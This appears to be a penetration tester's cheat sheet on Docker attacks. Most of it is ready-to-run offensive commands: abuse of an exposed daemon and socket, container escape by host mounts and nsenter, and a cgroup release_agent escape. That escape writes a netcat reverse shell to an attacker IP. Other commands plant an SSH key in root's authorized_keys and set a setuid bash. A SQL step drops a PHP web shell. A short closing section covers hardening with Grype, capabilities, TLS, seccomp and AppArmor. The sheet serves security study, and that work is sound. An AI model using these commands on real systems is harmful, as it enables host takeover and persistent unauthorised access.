8.4 KiB
Docker Vulnerabilities
Check if you are inside a container
- Low process count
ps aux
.dockerenv
in/
cd / && ls -lah
- cgroups contain docker names
pwd /proc/1
cat cgroups
Abusing Registry
- Registry Doc
- Registry is a json API endpoint
- Private registry added in
/etc/docker/daemon.json
- Can be found by nmap as a service
Enumerate the Registry through DockerRegistryGrabber.
Enumeration
- General query
curl http://test.com:5000/v2/_catalog`
- List tags
curl http://example.com:5000/v2/<REPOSITORY>/<APP>/tags/list
curl http://example.com:5000/v2/<REPOSITORY>/tags/list
history
section of the json object contains commands executed at build phase. May contain sensitive data like passwords.
curl http://test.com:5000/v2/<REPO>/<APP>/manifests/<TAG>
Download Images from the Remote Repository
Remote repositories might need to be added to the insecure registries before you are able to pull from them
echo '{"insecure-registries": ["insecure-registry.com:5000"]}' >> /etc/docker/daemon.json
Restart the docker service afterwards and take a look at the insecure registries via
docker info
Download an image via
docker pull insecure-registry:5000/repository-name/image-name
Remote Docker Daemon
Users inside the docker
group may open tcp socket through docker
In case you find an exposed docker daemon it can be used in the following way
docker -H tcp://$TARGET_IP:2375 ps
docker -H tcp://$TARGET_IP:2375 images
docker -H tcp://test.com:2375 exec <container> <cmd>
docker -H tcp://$TARGET_IP:2375 run -it -v /:/mnt/host alpine:3.9 /bin/sh
Check out root please
Escape Container via Exposed Docker Daemon
Look out for exposed docker sockets
find / -name "*sock" 2>/dev/null
groups
Mount the host volume and chroot to it. Ideally, use an image that is installed already, e.g. alpine here.
docker images
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
or
docker run -v /:/host --rm -it <imageID> chroot /host/ bash
Shared Namespaces
Requires root inside the container
nsenter --target 1 --mount sh
nsenter --target 1 --mount --uts --ipc --net /bin/bash
Misconfiguration
Capabilities
Privileged container connect to the host directly, not through the docker engine. Execution of binaries on the host from inside the container is possible.
capsh --print
Exploit and get a reverse shell to the host via
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/exploit" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /exploit
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $ATTACKER_IP 4711 >/tmp/f" >> /exploit
chmod a+x /exploit
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
Caveat: The file may appear outside the container on some host systems. Have to investigate...
cap_admin
cap_sys_admin
provides the ability to spawn a root shell inside the container
capsh --gid=0 --uid=0 --
Further, if there is access to the host this capability can be used to set
chmod u+s /bin/bash
and list the available mounts. The mounts can be listed
findmnt
.
Resulting in a useable root bash on the host via executing it on the path of
the docker volume, e.g.
/var/lib/docker/overlay2/l/randomhash/bin/bash -p
Check fdisk
fdisk -l
and lsblk
, host bulk device may be exposed
Mount the device
mkdir /mnt/hostdev
mount /dev/<hostVda> /mnt/hostdev
- Check
/dev
as well !!! and mount device
Creating a Container from inside another container
- Needs root inside a container
- Upload static curl
- Check available images and containers
curl-amd64 --unix-socket /run/docker.sock http://127.0.0.1/containers/json
curl-amd64 --unix-socket /run/docker.sock http://127.0.0.1/images/json
- Inside the container as root
curl -X POST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock http://localhost/containers/create -d '{"Detach":true,"AttachStdin":false,"AttachStdout":true,"AttachStderr":true,"Tty":false,"Image":"<imagename>:latest","HostConfig":{"Binds": ["/:/var/tmp"]},"Cmd":["sh", "-c", "echo <ssh-key> >> /var/tmp/root/.ssh/authorized_keys"]}'
- Return value is the ID
- Start a container
curl-amd64 -X POST -H "Content-Type:application/json" --unix-socket /var/run/docker.sock http://localhost/containers/<ID>/start
- Login in to the host via ssh remotely or socat locally
socat - UNIX-CONNECT:/var/run/docker.sock
POST /containers/<CONTAINERID>/attach?stream=1&stdin=1&stdout=1&stderr=1 HTTP/1.1
Host:
Connection: Upgrade
Upgrade: tcp
HTTP/1.1 101 UPGRADED
Content-Type: application/vnd.docker.raw-stream
Connection: Upgrade
Upgrade: tcp
Reversing Docker Images
dive <IMAGE-ID>
Uploading Images to Registry
- Ever image has a
latest
tag - Upload modified docker image as
latest
- Article
Escape through DB
- Login into DB
- Create table
- Inject PHP code
- Select table content into a file the user can read
- Execute the file
create table h4x0r (pwn varchar(1024));
insert into h4x0r (pwn) values ('<?php $cmd=$_GET["cmd"];system($cmd);?>');
select '<?php $cmd=$_GET["cmd"];system($cmd);?>' from h4x0r INTO OUTFILE '/var/www/html/shell.php';
copy (select '<?php $cmd=$_GET["cmd"];system($cmd);?>' from h4x0r) to '/var/www/html/shell.php'; # In case of PostreSQL
curl the webshell hon the exploited host
curl <host-IP>/shell.php?cmd=id
Dirty c0w
runC
Securing a Container
- Use Grype or CIS Benchmark for Vulnerability Checks
grype $IMAGE_NAME --scope all-layers
grype ./image.tar
Cgroups
Take a look at the cgroups of a container
docker inspect $CONTAINER_ID
Update cgroups of a container via
docker update --cpus="4" --memory="512m"
Remove Capabilities
The count of capabilities should be minimized on every container. It should only contain the necessary caps.
docker run -it --rm --cap-drop=ALL --cap-add=$NECESSARY_CAPS $CONTAINER_NAME
Check the capabilities via
capsh --print
SSH context
Create a profile to use a remote Docker daemon through SSH
docker context create --docker host=ssh://$USER@$TARGET_IP --description "Attack" attack-host
docker context use attack-host
docker context use default
Enable TLS
Start a Docker daemon using TLS
dockerd --tlsverify --tlscacert=ca.pem --tlscert=cert.pem --tlskey=key.pem -H=0.0.0.0:2376
Connect to a TLS enabled Docker Daemon
docker --tlsverify --tlscacert=ca.pem --tlscert=cert.pem --tlskey=key.pem -H=$DOCKER_SERVER:2376 info
Seccomp
The seccomp() system call operates on the Secure Computing (seccomp) state of the calling process.
In strict mode it is described as follows
The only system calls that the calling thread is permitted to make are read(2), write(2), _exit(2) (but not exit_group(2)), and sigreturn(2).
Seccomp can also be configured to support other systemcalls. The configuration is done via JSON
docker run --rm -it --security-opt seccomp=./profile.json $CONTAINER_NAME
Apparmor
Mandatory Acces Control measurement to limit permissions of execution and on resources. See the status of Apparmor via
aa-status
Create a profile and import it via
apparmor_parser -r -W ./profile.json
Apply the configuration to the container via
docker run --rm -it --security-opt apparmor=./profile.json